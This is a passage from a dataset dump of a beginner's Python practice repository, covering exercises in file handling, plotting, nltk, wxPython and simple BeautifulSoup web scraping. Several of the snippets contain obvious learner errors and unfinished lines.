input()\nprint('Goodbye!')\n" }, { "alpha_fraction": 0.5752212405204773, "alphanum_fraction": 0.6814159154891968, "avg_line_length": 21.600000381469727, "blob_id": "a707a1ca9a8dccf6c6140a80c6f6260e8e5ebe89", "content_id": "65fa1ce6b4c71243c87b5b12ebcf7820d1e59833", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 226, "license_type": "no_license", "max_line_length": 35, "num_lines": 10, "path": "/用Python玩转数据/pasteimg.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from PIL import Image\n\nim1 = Image.open('1.jpg')\nprint(im1.size,im1.format,im1.mode)\nImage.open('1.jpg').save('2.png')\nim2 = Image.open('2.png')\nsize = (640,360)\nim2.thumbnail(size)\nout = im2.rotate(45)\nim1.paste(out,(50,50))\n" }, { "alpha_fraction": 0.6800000071525574, "alphanum_fraction": 0.6800000071525574, "avg_line_length": 40.66666793823242, "blob_id": "1df3d31ab4e9bf2cdb274af865f8ad75c462dc98", "content_id": "e066ce807397bd4d2cfeae8d70728d9ddf50a9fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 250, "license_type": "no_license", "max_line_length": 95, "num_lines": 6, "path": "/city_functions.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "def city_country(city,country,population=''):\n\tif population:\n\t\tformatted_message = city.title() + ',' + country.title() + ' - population ' + str(population)\n\telse:\n\t\tformatted_message = city.title() + ',' + country.title()\n\treturn formatted_message\n" }, { "alpha_fraction": 0.6831682920455933, "alphanum_fraction": 0.692169189453125, "avg_line_length": 20.365385055541992, "blob_id": "bda816d0f6f50fda16377f9a81eaaf4d705f23d7", "content_id": "ad604120cbbb6d9c08e0d016e9245c058cfea656", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1111, "license_type": "no_license", "max_line_length": 75, "num_lines": 52, "path": "/file_reader.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "with open('pi_digits.txt') as file_object:\n\tcontents = file_object.read()\n\tprint(contents.rstrip())\n\nprint('\\n')\n\nfile_path = r'E:\\python_work\\pi_digits.txt'\nwith open(file_path) as file_object2:\n\tcontents2 = file_object2.read()\n\tprint(contents2.rstrip())\n\nprint('\\n')\n\nfilename = 'pi_digits.txt'\nwith open(filename) as file_object3:\n\tfor line in file_object3:\n\t\tprint(line.rstrip())\n\nprint('\\n')\n\nwith open(filename) as file_object4:\n\tlines = file_object4.readlines()\n\nfor line in lines:\n\tprint(line.rstrip())\n\nprint('\\n')\n\npi_string = ''\nfor line in lines:\n\tpi_string += line.strip()\n\nprint(pi_string)\nprint(len(pi_string))\n\nprint('\\n')\n\nfilename = 'pi_million_digits.txt'\nwith open(filename) as file_object:\n\tlines = file_object.readlines()\npi_string = ''\nfor line in lines:\n\tpi_string += line.strip()\n\nprint(pi_string[:52] + '...')\nprint(str(len(pi_string)) + '\\n')\n\n#birthday = input('Enter your birthday,in the form yymmdd: ')\n#if birthday in pi_string:\n\t#print('Your birthday appears in the first million digits of pi!')\n#else:\n\t#print('Your birthday does not appear in the first million digits of pi.')\n" }, { "alpha_fraction": 0.7597402334213257, "alphanum_fraction": 0.7662337422370911, "avg_line_length": 24.5, "blob_id": "637191c6f54965a08d0e63c7dc01d06b08b34706", "content_id": "f5870cc67c8d3fbd9b30d8b3392d262f5dac82ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 154, "license_type": "no_license", "max_line_length": 38, "num_lines": 6, "path": "/Python网络数据采集/smzdm.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\nurl = 'http://www.smzdm.com/jingxuan/'\nhtml = urlopen(url)\nbsObj = BeautifulSoup(html)\n\n" }, { "alpha_fraction": 0.6813819408416748, "alphanum_fraction": 0.6967370510101318, "avg_line_length": 26.421052932739258, "blob_id": "000ed72f806d3cf02facb22bf366327f2dbb4134", "content_id": "6a2d6342214baf713c9efb12195c586ac54379cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 521, "license_type": "no_license", "max_line_length": 83, "num_lines": 19, "path": "/用Python玩转数据/revcopy.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "filename = 'companies.txt'\nwith open(filename,'w') as file_object:\n\t#file_object.write('GOOGLE Inc.')\n\t#file_object.write('\\nMicrosoft Corporation')\n\t#file_object.write('\\nApple Inc.')\n\t#file_object.write('\\nFacebook Inc.')\n\tfile_object.write('GOOGLE Inc.\\nMicrosoft Corporation\\nApple Inc.\\nFacebook Inc.')\n\nf1 = open(r'companies.txt')\ncNames = f1.readlines()\nfor i in range(0,len(cNames)):\n\tcNames[i] = str(i+1) + ' ' + cNames[i]\nf1.close()\n\nwith open()\n\nf2 = open(r'scompanies.txt','w')\nf2.writelines(cNames)\nf2.close\n" }, { "alpha_fraction": 0.6490384340286255, "alphanum_fraction": 0.6634615659713745, "avg_line_length": 16.33333396911621, "blob_id": "e1e1ea89f134de1e4e3194dbb969b182f6bcc99a", "content_id": "e3411af011a0e7e569d8a5fa3791af1a27af07bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 416, "license_type": "no_license", "max_line_length": 35, "num_lines": 24, "path": "/用Python玩转数据/mathA.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pylab as pl\nimport pygal\n\n#x = np.linspace(-np.pi,np.pi,256)\n#s = np.sin(x)\n#c = np.cos(x)\n#pl.title('Trigonometric Function')\n#pl.xlabel('X')\n#pl.ylabel('Y')\n#pl.plot(x,s)\n#pl.plot(x,c)\n\nimport matplotlib.pyplot as plt\n\nx = np.linspace(-np.pi,np.pi,256)\ns = np.sin(x)\nc = np.cos(x)\nplt.title('Trigonometric Function')\nplt.xlabel('X')\nplt.ylabel('Y')\nplt.plot(x,s)\nplt.plot(x,c)\nplt.show()\n" }, { "alpha_fraction": 0.6914893388748169, "alphanum_fraction": 0.6968085169792175, "avg_line_length": 22.5, "blob_id": "00c083a8d4565e6bd875b5d2c4511a21a9909ceb", "content_id": "55eb45797bae6fc8734968dc19ba63f9552ee69d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 188, "license_type": "no_license", "max_line_length": 59, "num_lines": 8, "path": "/用Python玩转数据/week.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "week = ['Monday','Tuseday','Wednesday','Thursday','Friday']\nweekend = ['Satuday','Sunday']\nweek.extend(weekend)\nfor i,j in enumerate(week):\n\tprint(i+1,j)\n\nweek.append(weekend)\nprint(week)\n" }, { "alpha_fraction": 0.5256410241127014, "alphanum_fraction": 0.5833333134651184, "avg_line_length": 16.33333396911621, "blob_id": "0dafee4ad20331a1cb854c808d17aba83913aac0", "content_id": "5298954a0e5b8b253d1435c495b4685f53a52d93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 156, "license_type": "no_license", "max_line_length": 42, "num_lines": 9, "path": "/age.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "age = input('Your age:')\nage = int(age)\nif age<=4:\n\tprice = 0\nelif age <18:\n\tprice = 5\nelif age>=18:\n\tprice = 10\nprint('Your price is ' + str(price) + '!')\n" }, { "alpha_fraction": 0.655639111995697, "alphanum_fraction": 0.7007519006729126, "avg_line_length": 21.931034088134766, "blob_id": "6793e95b3692b93658b9607afd03c56312443ef0", "content_id": "99130f69e30c65560cd754e082d7ecb8bf76bda1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 665, "license_type": "no_license", "max_line_length": 76, "num_lines": 29, "path": "/Data Visualization/different_dice.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import pygal\nfrom die import Die\n\ndie_1 = Die()\ndie_2 = Die(10)\n\nresults=[]\nfor roll_num in range(50000):\n\tresult = die_1.roll() + die_2.roll()\n\tresults.append(result)\n\nfrequencies = []\nmax_result = die_1.num_sides + die_2.num_sides\nfor value in range(2,max_result+1):\n\tfrequency = results.count(value)\n\tfrequencies.append(frequency)\n\n#print(results)\n#print(frequencies)\n\nhist = pygal.Bar()\n\nhist.title = 'Result of rolling a D6 and a D10 50,000 times.'\nhist.x_labels = [str(i) for i in range(2,die_1.num_sides+die_2.num_sides+1)]\nhist.x_title = 'Result'\nhist.y_title = 'Frequency of Result'\n\nhist.add('D6 + D10',frequencies)\nhist.render_to_file('dice_visual.svg')\n" }, { "alpha_fraction": 0.6477987170219421, "alphanum_fraction": 0.6603773832321167, "avg_line_length": 30.799999237060547, "blob_id": "17b6228904248db402a0dd27e234042b6e5ee8e4", "content_id": "017b5e6deab24c6fc9e8b54200bac0d1122b4ca0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 318, "license_type": "no_license", "max_line_length": 60, "num_lines": 10, "path": "/用Python玩转数据/totitle.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "aStr = 'What do you think of this saying \"No pain,No gain\"?'\n#lindex = aStr.index('\\\"',0,len(aStr))\n#rindex = aStr.rindex('\\\"',0,len(aStr))\n#tempStr = aStr[lindex+1:rindex]\ntempStr = aStr.split(\"\\\"\")[1]\nif tempStr.istitle():\n\tprint('It is title format.')\nelse:\n\tprint('It is not title format.')\nprint(tempStr.title())\n" }, { "alpha_fraction": 0.7616000175476074, "alphanum_fraction": 0.7663999795913696, "avg_line_length": 25.04166603088379, "blob_id": "0ab1070f403f6f0247cc563b1883b8329243ab3b", "content_id": "778a9635a2f57c85adaf4d47d91cd39f77a071b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 643, "license_type": "no_license", "max_line_length": 65, "num_lines": 24, "path": "/Python网络数据采集/收集外链.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "GB18030", "text": "#coding=gbk\n\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\nallExtLinks = set()\nallIntLinks = set()\n\ndef getAllExternalLinks(siteUrl):\n\thtml = urlopen(siteUrl)\n\tbsObj = BeautifulSoup(html)\n\tinternalLinks = getInternalLinks(bsObj,splitAddress(siteUrl)[0])\n\texternalLinks = getExternalLinks(bsObj,splitAddress(siteUrl)[0])\n\tfor link in externalLinks:\n\t\tif link not in allExtLinks:\n\t\t\tallExtLinks.all(link)\n\t\t\tprint(link)\n\tfor link in internalLinks:\n\t\tif link not in allIntLinks:\n\t\t\tprint('即将获取链接的URL是:' + link)\n\t\t\tallIntLinks.add(link)\n\t\t\tgetAllExternalLinks(link)\n\ngetAllExternalLinks('http://oreilly.com')\n" }, { "alpha_fraction": 0.40865594148635864, "alphanum_fraction": 0.507829487323761, "avg_line_length": 76.93220520019531, "blob_id": "9c74ba3770775f42052981fc66e8da674890dab8", "content_id": "2a9ff9acf91b574167b59d89bd36021a82dad110", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4846, "license_type": "no_license", "max_line_length": 281, "num_lines": 59, "path": "/Python网络数据采集/smzdm2.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import urllib\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\n# headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'}\n# headers=(\"User-Agent\",\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\")\n\nheaders = [\n \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14\",\n \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)\",\n 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11',\n 'Opera/9.25 (Windows NT 5.1; U; en)',\n 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',\n 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',\n 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12',\n 'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.2.9',\n \"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.7 (KHTML, like Gecko) Ubuntu/11.04 Chromium/16.0.912.77 Chrome/16.0.912.77 Safari/535.7\",\n \"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0 \"\n]\n\nurl = 'http://www.smzdm.com/jingxuan/p9/'\nreq = urllib.request.Request(url, headers=headers)\nhtml = urlopen(req)\n\nbsObj = BeautifulSoup(html)\n\nnameList = []\n\nnameSet = bsObj.findAll('span',{'class':'feed-hot-title'})\n\nfor name in nameSet:\n\tnameList.append(name.string)\n\nprint(nameList)\n\n #<div class=\"feed-hot-card\">\n #<a target=\"_blank\" href=\"http://www.smzdm.com/p/7564672\" onclick=\"dataLayer.push({'event':'23200','tab':'全部','position':'10','pagetitle':'促销活动 : 天猫聚划算 必胜客 披萨意面加甜点'})\">\n #<div class=\"feed-hot-pic\"><img src=\"//tp-qny.smzdm.com/201707/22/5972b433a93b25933.png_d200.jpg\" alt=\"\" width=\"154px\" height=\"154px\" style=\"margin-top:0px\" ></div>\n #<div class=\"feed-hot-title\">促销活动 : 天猫聚划算 必胜客 披萨意面加甜点</div>\n #<span class=\"z-highlight\">爆款好价,惊喜有礼,麻辣小龙虾比萨低至49元</span>\n #</a>\n #</div>\n #<div class=\"feed-hot-card\">\n #<a target=\"_blank\" href=\"http://www.smzdm.com/p/7558614\" onclick=\"dataLayer.push({'event':'23200','tab':'全部','position':'11','pagetitle':'Serta 舒达 Sertapedic® 系列 Madagan Euro-top 床垫 Queen'})\">\n #<div class=\"feed-hot-pic\"><img src=\"//tp-y.zdmimg.com/201705/23/5923fdf533ab39225.jpg_d200.jpg\" alt=\"\" width=\"154px\" height=\"154px\" style=\"margin-top:0px\" ></div>\n #<div class=\"feed-hot-title\">Serta 舒达 Sertapedic® 系列 Madagan Euro-top 床垫 Queen</div>\n #<span class=\"z-highlight\">5999元包邮(需用券)</span>\n #</a>\n #</div>\n #<div class=\"feed-hot-card\">\n #<a target=\"_blank\" href=\"http://www.smzdm.com/p/7564688\" onclick=\"dataLayer.push({'event':'23200','tab':'全部','position':'12','pagetitle':'历史低价 : ARROW 箭牌卫浴 AB1116 喷射虹吸式马桶'})\">\n #<div class=\"feed-hot-pic\"><img src=\"//tp-qny.smzdm.com/201707/22/5972b65e1831f4372.jpg_d200.jpg\" alt=\"\" width=\"154px\" height=\"154px\" style=\"margin-top:0px\" ></div>\n #<div class=\"feed-hot-title\">历史低价 : ARROW 箭牌卫浴 AB1116 喷射虹吸式马桶</div>\n #<span class=\"z-highlight\">699元包邮(双重优惠)</span>\n #</a>\n #</div>\n" }, { "alpha_fraction": 0.5757575631141663, "alphanum_fraction": 0.6623376607894897, "avg_line_length": 12.588234901428223, "blob_id": "e782ea3499feb97c470f3a2768232032aa63b286", "content_id": "a120fa4d9176ed0d551ba0b52d93555f411fb02a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 231, "license_type": "no_license", "max_line_length": 31, "num_lines": 17, "path": "/用Python玩转数据/mathB.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import scipy as sp\nimport pylab as pl\n\n#listA = sp.ones(500)\n#listA[100:300] = -1\n#f = sp.fft(listA)\n#pl.plot(f)\n\n\nimport matplotlib.pyplot as plt\n\nlistA = sp.ones(500)\nlistA[100:300] = -1\nf = sp.fft(listA)\n\nplt.plot(f)\nplt.show()\n" }, { "alpha_fraction": 0.455089807510376, "alphanum_fraction": 0.5059880018234253, "avg_line_length": 12.359999656677246, "blob_id": "6099927096f1cfa34cc1d319ae4af523899e6fb6", "content_id": "c120cc231d8f0dde6604dc9cfc0fd65c99afd59f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 334, "license_type": "no_license", "max_line_length": 23, "num_lines": 25, "path": "/用Python玩转数据/prime.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from math import sqrt\nj = 2\nwhile j <= 100:\n\ti = 2\n\tk = sqrt(j)\n\twhile i <= k:\n\t\tif j%i ==0:\n\t\t\tbreak\n\t\ti = i + 1\n\tif i > k:\n\t\tprint(j,end=' ')\n\tj += 1\n\t\nprint('\\n')\n\nfrom math import sqrt\nfor i in range(2,101):\n\tflag = 1\n\tk = int(sqrt(i))\n\tfor j in range(2,k+1):\n\t\tif i % j == 0:\n\t\t\tflag = 0\n\t\t\tbreak\n\tif (flag):\n\t\t\tprint(i,end=' ')\n" }, { "alpha_fraction": 0.7104557752609253, "alphanum_fraction": 0.7426273226737976, "avg_line_length": 22.375, "blob_id": "7a7cb59503c4debf427fd907090213aba46e19bf", "content_id": "770834af43ee2bc1f8b31ed6ccb34b9b759b62f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 373, "license_type": "no_license", "max_line_length": 42, "num_lines": 16, "path": "/Data Visualization/mpl_squares2.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\n\ninput_values = list(i for i in range(1,6))\nsquares = list(i**2 for i in input_values)\n\nplt.plot(input_values,squares,linewidth=5)\n\nplt.title('Squares Numbers',fontsize=24)\nplt.xlabel('Values',fontsize=14)\nplt.ylabel('Square of Value',fontsize=14)\n\nplt.tick_params(axis='both',labelsize=14)\nplt.show()\n\n# print(input_values)\n# print(squares)" }, { "alpha_fraction": 0.667682945728302, "alphanum_fraction": 0.7286585569381714, "avg_line_length": 31.850000381469727, "blob_id": "4fb8a008330111666677b4b971f28bf3c0bd477f", "content_id": "561ca886f5cb9eb4b0cd53da0febf94a9d491a04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 656, "license_type": "no_license", "max_line_length": 80, "num_lines": 20, "path": "/Data Visualization/scatter_squares2.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\n\nx_values = list(x for x in range(1,1001))\ny_values = list(x**2 for x in x_values)\n\n# plt.scatter(x_values,y_values,edgecolor='none',c=(0,0,0),s=10)\n# plt.scatter(x_values,y_values,edgecolor='none',c=(0,0,0),s=10)\nplt.scatter(x_values,y_values,edgecolor='none',c=y_values,cmap=plt.cm.YlGn,s=10)\n\n#http://matplotlib.org/examples/color/colormaps_reference.html\n\nplt.title('Square Numbers',fontsize=24)\nplt.xlabel('Value',fontsize=14)\nplt.ylabel('Square of Value',fontsize=14)\nplt.tick_params(axis='both',which='major',labelsize=14)\nplt.axis([0,1100,0,1100000])\n\nplt.savefig('squares_plot2.png',bbox_inches='tight')\n\nplt.show()" }, { "alpha_fraction": 0.6284152865409851, "alphanum_fraction": 0.6284152865409851, "avg_line_length": 15.636363983154297, "blob_id": "498476274f2f39afba25cb4edce288dc3bfbcc74", "content_id": "6f6964a7104c4bf913ceebfbdb38e0f793413b24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 183, "license_type": "no_license", "max_line_length": 45, "num_lines": 11, "path": "/用Python玩转数据/mouse.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import wx\n\nclass MyApp(wx.App):\n\tdef OnInit(self):\n\t\tframe = wx.Frame(None,title='Hello,World!')\n\t\tframe.Show()\n\t\treturn True\n\nif __name__=='__main__':\n\tapp = MyApp()\n\tapp.MainLoop()\n" }, { "alpha_fraction": 0.72826087474823, "alphanum_fraction": 0.739130437374115, "avg_line_length": 19.44444465637207, "blob_id": "6fe52ef42fc6387876b78245c90e9c7d0990880d", "content_id": "ae48f38826af53ede80530ed4a10c70af3a726c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 200, "license_type": "no_license", "max_line_length": 54, "num_lines": 9, "path": "/用Python玩转数据/freedom.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "GB18030", "text": "#coding=gbk\n\nfrom nltk import *\nfrom nltk.corpus import inaugural\n\n#注意,要先去nltk.download()下载inaugural\n\nfd3 = FreqDist([s.lower() for s in inaugural.words()])\nprint(fd3.freq('freedom'))\n" }, { "alpha_fraction": 0.6970803141593933, "alphanum_fraction": 0.7408758997917175, "avg_line_length": 26.399999618530273, "blob_id": "ede3cbb3853283986dd3c9f161bf3fbbee1d89ad", "content_id": "8d3070a9802203c1ea2f0e08b92c15cd43fdacb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 274, "license_type": "no_license", "max_line_length": 63, "num_lines": 10, "path": "/用Python玩转数据/freqG20.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from nltk.corpus import gutenberg\nfrom nltk.probability import *\n\nallwords = gutenberg.words('shakespeare-hamlet.txt')\nfd2 = FreqDist([sx.lower() for sx in allwords if sx.isalpha()])\nprint(fd2.B())\nprint(fd2.N())\nfd2.tabulate(20)\nfd2.plot(20)\nfd2.plot(20,cumulative = True)\n" }, { "alpha_fraction": 0.6607595086097717, "alphanum_fraction": 0.6658228039741516, "avg_line_length": 23.6875, "blob_id": "a97c511c73fc2b0cdd274e63e9fb9e651a2c295a", "content_id": "1c538c722231a477c02b0dd5bcacee22d2aa58c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 395, "license_type": "no_license", "max_line_length": 76, "num_lines": 16, "path": "/用Python玩转数据/mouse2.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import wx\n\nclass Frame1(wx.Frame):\n\tdef __init__(self,superior):\n\t\twx.Frame.__init__(self,superior)\n\t\tself.panel = wx.Panel(self)\n\t\tself.panel.Bind(wx.EVT_LEFT_UP,self.OnClick)\n\t\n\tdef OnClick(self,event):\n\t\tposm = event.GetPosition()\n\t\twx.StaticText(parent = self.panel,label='Hello,World',pos=(posm.x,posm.y))\n\nif __name__ == '__main__':\n\tapp = wx.App()\n\tframe = Frame1(None)\n\tframe.Show(True)\n" }, { "alpha_fraction": 0.6778711676597595, "alphanum_fraction": 0.6984127163887024, "avg_line_length": 27.210525512695312, "blob_id": "bda7a3cddd43b0376304f948550cc7991988bab7", "content_id": "6771adf1cea124d48171e68f9592d081d166c081", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1071, "license_type": "no_license", "max_line_length": 149, "num_lines": 38, "path": "/Python网络数据采集/WangYiMIT.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\nurl = 'http://open.163.com/special/opencourse/bianchengdaolun.html?referered=http%3A%2F%2Fopen.163.com%2Fspecial%2Fopencourse%2Fbianchengdaolun.html'\nhtml = urlopen(url)\nbsObj = BeautifulSoup(html)\n\ntitleset = bsObj.find('h2')\ntitle = titleset.string\n\nchapterlist = []\nchapterset = bsObj.findAll('td',{'class':'u-ctitle'})\nfor chapter in chapterset:\n clear = chapter.get_text().strip().replace(' ','').replace('\\n','')\n chapterlist.append(clear)\nchapterlist = chapterlist[10:]\nprint(chapterlist)\n\npurechapterlist = []\nnumlist = []\ntitlelist = []\nfor chapter in chapterlist[:9]:\n num = chapter[:5]\n title = chapter[5:]\n numlist.append(num)\n titlelist.append(title)\nfor chapter in chapterlist[9:]:\n num = chapter[:6]\n title = chapter[6:]\n numlist.append(num)\n titlelist.append(title)\nprint(numlist)\nprint(titlelist)\n\nfilename = 'mit.csv'\nwith open (filename,'w') as file_object:\n for (num,title) in zip(numlist,titlelist):\n file_object.write(num + ',' + title + '\\n')" }, { "alpha_fraction": 0.686241626739502, "alphanum_fraction": 0.7013422846794128, "avg_line_length": 22.84000015258789, "blob_id": "5e5834d1831eec2cf4e07440282ceb47b78f6853", "content_id": "7de97dd8b474d0b909ae188c4676d6b8f96a5745", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 596, "license_type": "no_license", "max_line_length": 69, "num_lines": 25, "path": "/用Python玩转数据/The Little Prince.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport re\n\nmarkup = '<p class=\"title\"><b>The Little Prince</b></p>'\nsoup = BeautifulSoup(markup,'lxml')\nprint(soup.b)\nprint(soup.p)\nprint(type(soup.b))\nprint(type(soup.p))\nprint(soup.find_all('b'))\n\nurl = 'https://book.douban.com/subject/1084336/'\nr = requests.get(url)\nsoup = BeautifulSoup(r.text,'lxml')\npattern = soup.find_all('p','comment-content')\nfor item in pattern:\n\tprint(item.string)\n\nsum = 0\npattern_s = re.compile('<span class=\"user-stars allstar(.*) rating\"')\np = re.findall(pattern_s,r.text)\nfor star in p:\n\tsum += int(star)\nprint(sum)\n" }, { "alpha_fraction": 0.5513865947723389, "alphanum_fraction": 0.6655791401863098, "avg_line_length": 25.65217399597168, "blob_id": "c70be564210a33842fa7db47deec135630fd7c92", "content_id": "a6132af2fb02fee974363ef7e88525a1a4601363", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 613, "license_type": "no_license", "max_line_length": 84, "num_lines": 23, "path": "/用Python玩转数据/dict.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "aInfo = {'Wangdachui':3000,'Niuyun':2000,'Linling':4500,'Tianqi':8000}\n\ninfo = [('Wangdachui',3000),('Niuyun',2000),('Linling',4500),('Tianqi',8000)]\nbInfo = dict(info)\n\ncInfo = dict([['Wangdachui',3000],['Niuyun',2000],['Linling',4500],['Tianqi',8000]])\n\ndInfo = dict(Wangdachui=3000,Niuyun=2000,Linling=4500,Tianqi=8000)\n\naDict = {}.fromkeys(('Wangdachui','Niuyun','Linling','Tianqi'),3000)\n\neDict = dict(zip(names,slaries))\n\npList = []\naList = []\nbList = []\nfor i in range(len(pList)):\n\taStr = pList[i][0]\n\tbStr = pList[i][2]\n\taList.append(aStr)\n\tbList.append(bStr)\naDict = dict(zip(aList,bList))\nprint(sDict)\n" }, { "alpha_fraction": 0.7816091775894165, "alphanum_fraction": 0.7816091775894165, "avg_line_length": 11.428571701049805, "blob_id": "19ac78e1cde0871b3d351905b6815acc67c54092", "content_id": "c4a552665361e07b9a5cf58a377e1100816df89d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 87, "license_type": "no_license", "max_line_length": 31, "num_lines": 7, "path": "/getdefaultencoding.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import sys\n\n#import importlib\n\n#importlib.reload(sys)\n\nprint(sys.getdefaultencoding())\n" }, { "alpha_fraction": 0.6699551343917847, "alphanum_fraction": 0.6852017641067505, "avg_line_length": 26.19512176513672, "blob_id": "3961d51bd906a93bf57b24ffa9e8f115818fe1d4", "content_id": "c5d88788554a0f3d76e111c2970f055dbe853139", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1115, "license_type": "no_license", "max_line_length": 71, "num_lines": 41, "path": "/Car.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "class Car():\n\tdef __init__(self,make,model,year):\n\t\tself.make = make\n\t\tself.model = model\n\t\tself.year = year\n\t\tself.odometer_reading = 0\n\t\t\n\tdef get_descriptive_name(self):\n\t\tlong_name = str(self.year) + ' ' + self.make + ' ' + self.model\n\t\treturn long_name.title()\n\n\tdef read_odometer(self):\n\t\tprint('This car has ' + str(self.odometer_reading) + ' miles on it.')\n\n\tdef update_odometer(self,mileage):\n\t\tif mileage > self.odometer_reading:\n\t\t\tself.odometer_reading = mileage\n\n\tdef increment_odometer(self,miles):\n\t\tif miles > 0:\n\t\t\tself.odometer_reading += miles\n\t\t\t\nclass ElectricCar(Car):\n\tdef __init__(self,make,model,year):\n\t\tsuper().__init__(make,model,year)\n\t\tself.battery_size = 70\n\t\n\tdef describe_battery(self):\n\t\tprint('This car has a ' + str(self.battery_size) + '-kWh battery')\n\nmy_tesla = ElectricCar('tesla','model s',2016)\nprint(my_tesla.get_descriptive_name())\nmy_tesla.describe_battery()\nprint(my_tesla.describe_battery())\n\nmy_new_car = Car('audi','a4',2016)\nmy_new_car.odometer_reading = 23\nmy_new_car.update_odometer(24)\n\nprint(my_new_car.get_descriptive_name())\nprint(my_new_car.read_odometer())\n" }, { "alpha_fraction": 0.5945330262184143, "alphanum_fraction": 0.6879271268844604, "avg_line_length": 23.38888931274414, "blob_id": "98a6245d792904943b264207fc7bd721cfa49fbf", "content_id": "9f4c8dc4a4a758e9098f91a801b634bebadc88e9", "detected_licenses": [], "is_generated": false, 